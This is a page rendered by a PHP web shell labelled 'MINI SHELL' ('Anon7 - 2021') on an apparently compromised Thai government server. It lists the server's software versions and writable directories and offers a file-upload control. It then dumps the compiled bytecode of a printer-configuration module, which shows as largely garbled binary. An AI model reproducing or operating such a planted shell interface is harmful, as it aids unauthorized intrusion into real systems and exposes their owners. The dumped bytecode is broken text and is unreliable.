MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/printconf/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/printconf/util/queueTree.pyo
m
^Dc@sNdkZdkZdkZdeijoeiidndZdklZlZdki	Z	e	i
edZdkZy,eiei
ddddg\ZZWn*eij
oeeidnXeZxVeD]NZed	d
joeeid	ned	djoedZnqWdkZyeiWn6ej
o*eiiedeidnXdkZdkZdkZdkZdkZdk Zdk!Z!dk"Z"dk#Z#dk$Z$dk%Z%dk&Z&dk'Z'dk(Z(ei)i*eei+d
e'i,dZ-y ei)i.e-ddeZ/Wnei)i.ddeZ/nXei0i1ei0i2Z3ei0i1ei0i4Z5dZ6dfdYZ7eo{ei8dodGHeidne7ddZ9e9i:e9i$i;dee9i$i<i=doei>nne7dS(Ns/usr/share/printconf/utilt	printconf(t_sN_cCs	dGHdS(Nsusage: system-config-printer [OPTIONS]

Options:
 --add-with-url URL  Add a new printer described by URL
 --help              Display this usage message((((t&/usr/share/printconf/util/queueTree.pythelp_message"sits
add-with-url=thelpis--helps--add-with-urls&You must be root to run this program.
ssystem-config-printers/usr/share/printconf/sgui/system-config-printer.gladetdomainssystem-config-printer.gladecCsVti|dtiti|}|i||iti	|i
|idS(sPut up an error dialog.iN(tgtkt
MessageDialogtwindowt
MESSAGE_ERRORt
BUTTONS_OKtmsgtdtset_transient_fortset_positiontWIN_POS_CENTER_ON_PARENTtruntdestroy(R	RR
((Rtcomplainas!

t	queueTreecBsUtZdZddZdZdZdZdZdZdZ	d	Z
d
ZdZdZ
d
ZdZdZdZdZdZdZdZdZdZdZdZdZdZedZeheeedZdZdZ dZ!d Z"d!Z#d"Z$d#Z%RS($sThe main queue tree window.icCs||_tiitiitiitiitiitii	g|_|ii
tii|_ddddddg|_t
d|i|_d|_d|_t|_tid	|_|iitd
tid|p|iint}tio|iti t!}ntidtid
tidtidtidtidtidg|_"tidtidtidg|_#tid|_$tid|_%ti&dti'p|i%i(tntid|_)ti&dti'p|i)i(tnt
d|i"t
d|i#|ii*d|i+ti,d|i-ti,d|i.ti,d |i.ti,d!|i/ti,d"|i0ti,d#|i1ti,d$|i1ti,d%|i1ti,d&|i2ti,d'|i3ti,d(|i4ti,d)|i5ti,d*|i5ti,d+|i5ti,d,|i6ti,d-|i6ti,d.|i6ti,d/|i7ti,d0|i7ti,d1|i8ti,d2|i8ti,d3|i9ti,d4|i:ti,d5|i;xEd6d7d8d9d:d;d<d=d>d?d@dAgD]}ti,||i<qsWt=i>t=i?i@tAtAtBiCt=i?i@|_D|iDiEdt=iFtidB|_G|iGiH|iDt=iItdCt=iJdDd}|iLt!|iEd|iGiM|t=iItdEt=iNdFdG}|iGiM|t=iItdHt=iNdFd}|iGiM|t=iItdIt=iJdDdJ}|iLt!|iEdJ|iGiM|h|_OxLd[d\d]d^d_d`dagD]/\}}t=i?iQdYtR|f|iO|<q!W|iOdLiS|iOdZ<|iOdZiTdtUiU|t|_UtViV|t|_VtWiW|t|_W|iX|_Y|iZ|i[||pt=i\ndS(bNsprintconf-local-printer.htmlsprintconf-ipp-printer.htmlsprintconf-lpd-printer.htmlsprintconf-smb-printer.htmlsprintconf-ncp-printer.htmls printconf-jetdirect-printer.htmlcCs|iS(N(txt	type_name(R((Rt<lambda>|sitqueueTreeWindowsPrinter configuration - %sitedit_buttont
delete_buttont
edit_queuetdelete_queuetpop_editt
pop_deletetpop_sharingtdefault_buttontset_as_defaulttpop_set_as_defaultt
ascii_testt	cups_tests!/usr/share/cups/data/testprint.pst	jpeg_tests)/usr/share/gimp-print/samples/profile.jpgcCs
|itS(N(Rt
set_sensitivetFalse(R((RRscCs
|itS(N(RR&R'(R((RRsRton_quit_activateton_new_button_clickedton_new_queue_activateton_queue_view_cursor_changedt on_queue_view_button_press_eventton_edit_button_clickedton_edit_queue_activateton_pop_edit_activateton_queue_view_row_activatedton_queue_view_row_expandedton_queue_view_row_collapsedton_default_button_clickedton_set_as_default_activateton_pop_set_as_default_activateton_delete_button_clickedton_delete_queue_activateton_pop_delete_activateton_apply_activateton_apply_button_clickedton_sharing_activateton_pop_sharing_activateton_import_ppd_activateton_queueTreeWindow_delete_eventton_browse_help_activateton_cups_test_activateton_letter_ps_test_activateton_a4_ps_test_activateton_ascii_test_activateton_euc_test_activateton_jis_test_activateton_sjis_test_activateton_euc_ps_test_activateton_jis_ps_test_activateton_sjis_ps_test_activateton_duplex_test_activateton_jpeg_test_activatet
queue_views
Queue namettexttSharedtpixbufitDefaulttDescriptionis
printer-D.pngsprinter-defaultsprinter-DS.pngsprinter-default-staticsprinter-DO.pngsprinter-default-overriddens
printer-S.pngsprinter-statics
printer-O.pngsprinter-overriddensprinter-shared.pngsprinter-sharedsprinter-unshared.pngsprinter-unshareds	%s/gui/%stempty(s
printer-D.pngsprinter-default(sprinter-DS.pngsprinter-default-static(sprinter-DO.pngsprinter-default-overridden(s
printer-S.pngsprinter-static(s
printer-O.pngsprinter-overridden(sprinter-shared.pngsprinter-shared(sprinter-unshared.pngsprinter-unshared(]thiddentselftprintconf_conftqueue_typestlocaltipptlpdtsmbtncpt	jetdirecttindextsmb_page_indextqueue_type_help_pagestmaptqueue_type_namestfoomatic_readytNonetdefault_itertconftxmlt
get_widgetttoplevelt	set_titleRtostunametshow_allR'timportedtcups_importt
import_neededtuse_foomatictimport_cups_queuestTruetlocal_queue_widgetstexisting_queue_widgetsR#R$taccesstR_OKR&R%tconnectRtsignal_connecttquittnew_button_clickedtqueue_chosentbutton_pressedtedit_button_clickedt
row_activatedtrow_expandedt
row_collapsedtdefault_button_clickedtdelete_button_clickedtapplytsharing_button_clickedtimport_ppd_activatetdeletetbrowse_helpttestRt	TreeStoretgdktPixbuftstrtgobjectt
TYPE_PYOBJECTtqueue_storetset_sort_column_idtSORT_ASCENDINGRLt	set_modeltTreeViewColumntCellRendererTexttcolt
set_resizablet
append_columntCellRendererPixbufROtnametpixbuf_new_from_filetpkgdatatcopytfilltaddQueuet	editQueuet
shareQueuetget_active_spoolertactive_spoolert
populate_treetneed_to_apply_changestmain(RTRSRmRRR((Rt__init__ls	?			$



]-	
	
	
	
	
	
	
	
	
	
	
+



	'

cCsxtitititid}xB|iD]4}|ido|i	ddi
}Pq2q2W|i|S(s1Find out which print spooler is currently active.s/LC_ALL=C /usr/sbin/alternatives --display prints link currently points tot.iN(
tsignaltSIGCHLDtSIG_DFLRjtpopentft	readlinestlt
startswithtsplittstriptwhichtclose(RTRRR((RRs
	
cGs|ioti|idtititd}|i	tdti
|i	tdti|i	tdti|i
}|i|tijp|tijotSn|tijo|iqntS(s=Callback for the window being deleted.  Ask for confirmation.isGDo you want to save the changes
you made to your printer configuration?s_Don't savet_Cancelt_SaveN(RTt
need_applyRRRhtMESSAGE_QUESTIONtBUTTONS_NONERtsuret
add_buttontRESPONSE_NOtRESPONSE_CANCELtRESPONSE_YESRtresponseRtRESPONSE_DELETE_EVENTRrRR'(RTtargsRR((RR(s

 cGstidS(N(Rt	main_quit(RTR((RR?scGs|ip|indS(N(RTRR(RTR((RRyBs
c	Cs|ii\|_|_|ii|_|i}|i	x|ii
D]}|i|}|d}|id}|i|d|y|i|d|diWnnX|i|d|d}y x|dD]
}d}PqWWnnX|ii|d	|i|||ijoZd
}|dp
d}n|d
o
d}n|ii|d|i|||_qP|dp!|ii|d|idqP|d
o!|ii|d|idqPqPWd|_|idS(s;Fill in the queue treeview from the existing configuration.tqueueiitqueue_descriptionisprinter-unsharedtsharingsprinter-sharedisprinter-defaultteditablesprinter-default-statictoverridesprinter-default-overriddenisprinter-staticsprinter-overriddenN(RTRet
get_queuest	name_dictt
alias_dicttget_default_queue_nametdefault_queue_nameRtstoretcleartkeysRt
queue_dictRtappendRctitert	set_valuetvaluetsharedtallowedRORdtbrowsed_itertpopulate_browsed_queues(	RTRRORRRRRR((RRIsR	


	


	cCs |idjodSnyti}WndSnX|pdSn|i}
|ioAx>|
i|io&|
i	|id}|
i|q[Wnh}xq|i
D]c}	y||	ido||	d}|ii|	ox|
D]}|
i|i}|
i|d}||	joX|o!|djo|||	<|}n|i|ddi}|
i|d	|PqqWqn|	|ii
jownWn
qnX|ii|	oqn|ipe|
id|_|
i|id|id
|
i|idtd|
i|id	dn|
i|i}d
}|	|i jo
d
}n|
i|d|i||
i|d|	|
i|d	dy|
i|d	||	dWnnXy*||	o|
i|d	||	nWqqXqW||_dS(seUpdate the list of browsed queues.  Also displays error messages
        for any queue that has them.tcupsNisprinter-state-messageisReady to print.RRiRRsBrowsed queuesRsprinter-defaultsprinter-location(!RTRtpycupsRtcups_queuesRRRtiter_has_childtiter_nth_childRtremoveterrorsRteachtgetterrRthas_keytrowtget_itertpathtit	get_valueRtdescriptionRRRRcRORR(RTRRRRRRRORRRR((RR{s|	






cCsTyF|iit|iiitxtioti	q)WWnnXdS(s Set the main window insensitive.N(
RTRhR&R'R	t
set_cursortbusy_cursorRtevents_pendingtmain_iteration(RT((Rtbusys
cCs5y'|iiit|iitWnnXdS(sSet the main window sensitive.N(RTRhR	Rtready_cursorR&Rr(RT((RtreadyscCs|iptid}tid}|itd|i|i	|i
o|iti
n|iti|itiixtiotiqW|ii|id|_ndS(soDemand-load the foomatic database.  If it is already loaded,
        this does nothing; otherwise it is loaded.t
waitDialogt
wait_labels+Loading printer information.
Please wait...iN(RTRbRfRgtwaitRtset_textRRRhRSRRtWIN_POS_CENTERRtshow_nowRtwindow_process_all_updatesRRRetfoomatic_init_overviewthide(RTRR((RRps"






cCs|o
d|_n
d|_tidi|tidi||iii\}}|}|p|i|o
t
}ntidi|dS(sCalled to set button sensitivity.  If true is zero everything
        is up to date, otherwise changes have been made that have not been
        applied yet.iitapply_buttonRRN(ttrueRTRRfRgR&RLt
get_selectiontget_selectedRRttests_availableRR'(RTRRRR((RRs
	
cs|ii\}}|i|td|i	|i
|td|it
idi|io|i|o|indS(sxCalled when a queue has been chosen.  All of the widgets that
        act on an existing queue are made sensitive again.cs
|iS(N(RR&t	is_normal(R(R(RRscs
|iS(N(RR&tis_local(R(R(RRsRN(ttreeviewRRRRRTtis_normal_queueRR`Rttis_local_queueRRsRfRgR&RRR(RTRRRRR((RRRR{
s

+cCsti|idtititd}|i}|i
|tijodSn|ii
|d}||ijo
d}ntitd|i|dS(sLCalled to make an imported queue editable.  Returns zero
        on success.isDThis is an imported printer. Do you want to create a local override?isprinter-overriddensprinter-default-overriddenN(RRRTRhtMESSAGE_INFOtBUTTONS_YES_NORRRRRRRetoverride_queueRRORRRR(RTRRORR((Rtmake_queue_editables

cCs(|i}|i|dodSndS(Niii(RTRRRR(RTRR((RR3s	cCs|i}|i|S(N(RTRRRR(RTRR((RR9s	cGs/|i|i|ii|idS(sNew button handler.N(RTRRpRt
addQueueDruidR(RTR((RRz@s



cGs|iii\}}|i|pdSn|i|d}|i	|}|dp|i|odSqyn|i|i
|ii|o,|it|ii\|_	|_n|idS(sEdit button handler.NiR(RTRLRRRRRRRRRRRRpRteditQueueDialogRRrReRRR(RTRRRRR((RR}Js



cCs|i}|i|}|i|oT|i|oC|i	|o|i
|n|i|i|ddSn||idjo|inM||idjo|in)|i|djodSn|idS(sHandle double-clicks in the tree view.  In the status column
        treat a double-click as 'set as default'; otherwise edit the
        queue.iNii(RTRRRRRRt
iter_depthtviewRtcollapse_rowRt
expand_rowtcolumnt
get_columnRRR}(RTR
RR
RR((RR~as 	"
cCsMy|iodSnWnd|_nX|i|i|d|`dS(Nii(RTt
expanding_rowRR
RR(RTR
RR((RR|s


cCs|i|idS(N(RTRR(RTR
RR((RRscGs|iii\}}|i|d}||ijodSn|i	i
||i|d|id|i
o!|i|i
d|idn||_||_
|it|i|o|indS(sDefault button callback.iNisprinter-defaultRR(RTRLRRRRRRRRetset_default_queue_nameRRORdRRrRR(RTRRRR((RRs
!		
cGs.|id|i|iii\}}|od|i|oJ|i	|d}|i|}|dp|i
|odSqqqd}n|ii|o|itn|id}y+x$|i|ddD]
}d}PqWWnnX|o!|ii|d	|i|ndS(
sSharing button callback.RiRNsprinter-unsharedRRsprinter-sharedi(RTtspooler_warn_unlessRhRLRRRRRRRRRRRcRtshareQueueDialogRRrRRRRRRO(RTRRRRRRR((RRs0


	cGs{|iii\}}|i|pdSn|i|d}|i	i
|i|d|i	i\|_|_
|i	i|_|i||ii|o|i|}|id}|i|d|||ijoS|dp|i|d|idq?|dot|d|idq?qCn|itd	|i|it|idS(
sDelete button callback.NiRRisprinter-staticRsprinter-overriddencCs
|itS(N(RR&R'(R((RRs(RTRLRRRRRRRRetdelete_queue_and_fix_defaultRRRRRRRRRRcRROtstore_set_valuetfix_default_markerR`RtRRrR(RTRRRRR((RRs0

	
	

cCs{|i}|i}x_|oW|i|d|ijo(||_|i|d|i	dPn|i
|}qWdS(sFix up 'default' marker.iisprinter-defaultN(RTRRtget_iter_firstRRRRdRROt	iter_next(RTRR((RRs		cCs;|i|ii||}|it	d}d}|dt	dd7}|o||ii
dd7}n|d7}d}	|	dt	d	d7}	|o|	|ii
dd7}	n|	d7}	tidd
titi|}
ti}
|
i|
id|
i||
iti}|i|
|i dd
ti!}|
i#i$||i%|ti}|i|id|i|	|iti}|i||i dd
ti!}|
i#i$||i%||
i)ti*|
i#i+|
i,|
i-dS(s`Show the printer/driver notes.  This is a helper function,
           used by the other modules.s&Notes from the Linux Printing Databasesf<HTML><HEAD><META CONTENT="text/html; charset=UTF-8" HTTP-EQUIV="Content-Type"><BODY BGCOLOR="white">
s<H3>sPrinter notes:s</H3>
tenRs</BODY></HTML>
s
Driver notes:is	text/htmliiiXN(.tcallerRRTRetfoomatic_printer_driver_lookuptidtdrivertnotesRRtmessagetsource1tprinter_comments_dictRtsource2tdriver_comments_dictRRRcRRtdialogtgtkhtml2tDocumentthtml1Rtopen_streamtwrite_streamtclose_streamtViewtview1tset_documenttset_size_requesttScrolledWindowtwindow1tvboxt
pack_starttaddthtml2tview2twindow2RRRlRR(RTRRRR+R4R/R5RR!R&R3RR#R((Rt
show_notessV

















cCss|iiii}|iy|i|idWnnX|i	dt
dti}xA|D]9}ti|}|i||i|itqlW|it|i|d|d<|o|di|iiiijoe|ddi|iiiijoA|ddi}|iii|i}|i|i|n|i|id|S(	s
        Populate optionmenu with a list of manufacturer's names.
        If queue is also given, the history is set to the appropriate
        manufacturer.  This is a helper function, used by other modules.

        Returns a list corresponding to the menu items.
        tGenericis&Generic (click to select manufacturer)tfilter_typetfilter_datatmf_typet
printer_idN( RTRetfoomatictmake_model_dict_dictRtmfr_listtsorttpopR]tinsertRRtMenutmfr_menutmfrtMenuItemtmenuitemR2tshowR&Rrt
optionmenutset_menuRRtdriversR8R:Rtid_dicttmaketset_history(RTRHRRCRDRFR>R((Rtpopulate_mfr_optionmenu-s0





KcCs|o0|itx tiotiqWnd	}|}
|i|i
ii}|oh|di|ijoQ|ddi|ijo6|ddi}
|p|i
ii|
i}qn|o"|o|i
ii|i}n|p
d}n|djo	|i
ii}|id	}|i|d|i|i|d|d	f|o<|di|ijo%|ddi|ijo
|}n|i
ii}|id	}|i|d|i|i|d|d	f|o!|di|ijo
|}qn|i
ii}|i
ii|i}	|	i!x|	D]|}|id	}
|i|
d||i
ii||i}|i|
d||f|
||<||
jo
|
}qTqTWd}|i%dti&|i'd||o|it(n|S(
ss
        Set up the printer model tree.  This is a helper function,
        used by the other modules.

        store:            TreeStore to populate
        queue (optional): Current queue
        id_dict (opt):    Dictionary of foomatic IDs to populate
        mfr (opt):        Manufacturer to list models for
        id (opt):         Foomatic ID to select
        R8R9R:R;R7iicCs(ti|i|d|i|dS(Ni(Rt
model_sortRRtiter_atiter_b(RRPRQ((Rtmodel_sort_funcsN()R	RRRRRRctselectable_iterRt	select_idRRRTReRJR<R
RRR8R:RDRKRLRMRRRtlabeltrawR=RtmodelsR?tmodelt
iter_modelRRRRt
set_sort_funcR(RTRRRKRDRR	RXR
RWRTRRRRYRS((Rtpopulate_model_storeXsb


9

9



	cCst|i|jodSntd|i}ti|dtiti	|}|iti|i
|idS(sVWarn that the option about to be modified doesn't apply
        to the active spooler.NsVYou are changing an option
that has no effect in the print
spooler you are using (%s).i(RTRtspoolerRRRRR	tMESSAGE_WARNINGRR
RRRR(RTR\R	R
R((RRs
cGs|itid}tid}|itd|i|i	|i
ti|i
tiixtiotiquW|ii|ii}|i|i|pBti|i	dtititd}|i|in|itdS(s%Save changes and restart lpd service.RRs Applying changes.
Please wait...isFailed to write queues.N( RTRRfRgRRRRRRhRRRRRRRRRetsave_queuestrestart_lpdtsuccessRRRR
RtbadRRRR'(RTRR`RaRR((RRs.







cCs|ii}|i\}
}|
i|odSn|
i|d}|iii
|}ddddddd	d
ddd
ddddg|}|idiidd}|ddjo
|}ntd|}|id\}}}|itid|i|ii||}|o]|i|ti |i!dti"ti#t$d||f|}|i&|i'npti |i!dti(ti)t$d||f}|i&}
|i'|i|\}}}|
ti.jo||}t0|}|i2||i3|}|i5ti |i!dti(ti#t$d}ti7}	|i9i:|	ti;}ti=}|i?||i@||iAtB|iCtB|	iD||iE|i&|i'n|iFdS(s$Send a test page to the print queue.Nis!/usr/share/cups/data/testprint.pss----separator----stestpage.psstestpage-a4.psstestpage.ascstestpage.eucstestpage.jiss
testpage.sjiss
testpage.big5stest-euc.psstest-jis.psstest-sjis.psstest-big5.pss
duplex.ascs)/usr/share/gimp-print/samples/profile.jpgiRRt/stests/tdebugs/There was a problem sending %s
to '%s' queue:

s*Sent %s
to '%s' queue.  Does it look okay?s5Here are the messages that appeared in the error log:(GRTRLRt	selectionRRRRRRRFt
get_parenttget_childrenR]tpaget	get_labeltreplaceRUttestfileRtset_cups_logleveltlogleveltlognameterrorlog_startRttimetsleepRRetprint_test_pageRRRRhR
RRRaRRRRtdoneRRterrorlog_endRt
errorlog_sizetfileterrorlogtseektreadtdataRR#R.R	R0R1tTextViewttextviewt
TextBuffertbufferRt
set_buffertset_editableR'tset_cursor_visibleR2RlR(RTRFRdRrRtRnR]RsRUR	RR}RyRRRRlRvRRaRmR{R#RRgRj((RRsh7"
















c
Cs|idjod
Snd}d}d}d}d	}
yt|
i}Wn
g}nXxt
t|D]r}||}	|	i|o(|	t|i}d
|||<n|	i|o|	t|i}qoqoWd}|djo?y1ti|\
}}}}}}}}}}Wq7q7Xn|djo?y1ti|\
}}}}}}}}}}WqqXn|||fS(s}Set the LogLevel setting in cupsd.conf, and return a tuple of
        the old setting, the error log file name, and its size.RRs	/dev/nullis	LogLevel tinfos	ErrorLog s/var/log/cups/error_logs/etc/cups/cupsd.confsLogLevel %s
RcN(Rs	/dev/nulli(RTRtloglevel_keywordtoldlevelterrorlog_keywordRvtcupsd_conf_filenameRuRt	cupsdconftrangetlenRtlineRRtleveltsizeRjtstatR(RTRRRRvRRRRRRR((RRk'sB


1
1cCstid|iiidS(Nsfile://%s/index.html(tgnometurl_showRTRetprintconf_help_dir(RTRF((RR_scCsJ|idjodSntid}|iddd|i|idS(s(Activate the pop-up menu on right-click.iNt
queuePopup(teventtbuttonRfRgtpopupRcRo(RTR
RR((RR|fs
c
Cs!d}
tid|itititititi	f}
|
itxt
o|
i}|ti	jo|
idSn|
i}	y\t|	d}|i}|idp,t|itd|	|
idSnPWqLt|itd|
idSqLXqLW|
id}d}d}xX|iD]J}|id	o||}qH|id
o||d}qHqHW|p
d}n|p
d}n|i|d
o|dt |}nd}xN|djo@d|}d|
|f}t$i%i&|pPn|d7}qWd}d|||f}|i)d
d}|i)dd}|i)dd}t|di*d|d|d|ddddd d!|d"d#d$gyt$i+d%|
|fWnt,j
onX|	t$i-d&<d%|
|ft$i-d'<t$i.d(djo)t|itd)t$i-d'dSn|	t$i-d&<t$i.d*|djox|i/i0d|_1ti2|idti3ti4td+}|i6|i|i7ti8|i|int|itd,dS(-sImport PPD.s/usr/share/foomatic/dbsOpen PPDNtrUs*PPD-Adobe:s#'%s' does not look like a PPD file.s"File cannot be opened for reading.cCs?|id}|djodSn|d|iidS(Nt:iRis"'(tstfindtoffsetR(RR((Rtppd_vals
s*Manufacturer:s*ShortNickName:s (PPD)s[PPD]t iisppd%ds%s/source/printer/%s.xmls
PPD/Customs%s/%s-%s.ppdRt(Rt)tws<printer id="printer/%s">
s  <make>%s</make>
s  <model>%s</model>
s#  <functionality>A</functionality>
s  <driver>ppd</driver>
s  <drivers>
s
    <driver>
s      <id>ppd</id>
s      <ppd>%s</ppd>
s    </driver>
s
  </drivers>
s</printer>
s%s/source/%stPPDtCOPYs/bin/cp -v "$PPD" "$COPY"sFailed to copy PPD file to %ss$/usr/sbin/foomatic-ppdload "$PPD" %ss
PPD imported.sPPD import failed.(9tFOOMATIC_DBRtFileChooserDialogRTRhtFILE_CHOOSER_ACTION_OPENtSTOCK_CANCELRt
STOCK_OPENtRESPONSE_ACCEPTtselectortset_select_multipleR'RrRRRtget_filenametfilenameRuRtreadlinetline1RRRRRcRDtmdlRRRtnRtpRjRtexistst
CUSTOM_PPDtppdRit
writelinestmkdirtOSErrortenvirontsystemRetfoomatic_invalidate_cacheRbRRRR
RRR(RTtimgmenuitemRRRRDRRRRRR
RRRRRR((RRss!

	
	



	




J

!

	
(&t__name__t
__module__t__doc__RRRRRyRRRRRpRR{RRRRzR}R~RRRRRRR6RcRNR[RRRRkRR|R(((RRisF					2	R	
								
						#	"		6+M		 	P	8		
ssmb:s:Only smb: URLs are supported by --add-with-url at present.RSturltvisible(?tgettexttsysRoRRRtrhpl.translateRtN_t	translatet
textdomainRtgetopttargvtoptionsRterrortexitRctadd_with_urlRRUtinit_queue_edit_or_dietIOErrortstderrtwriteterrnoRjRtgnome.uiRRt	gtk.gladeR$RRnRRRtprintconf_versionRtgladetbindtextdomaintprogram_inittversionRtXMLRfRtCursortWATCHRtLEFT_PTRRRRRRhRpRR	tget_propertyR("RRRRR$RRRRRRRRnRRRRfRRRRhRURRRRRRRRoRRRjR((Rt?s			
		,																


Anon7 - 2021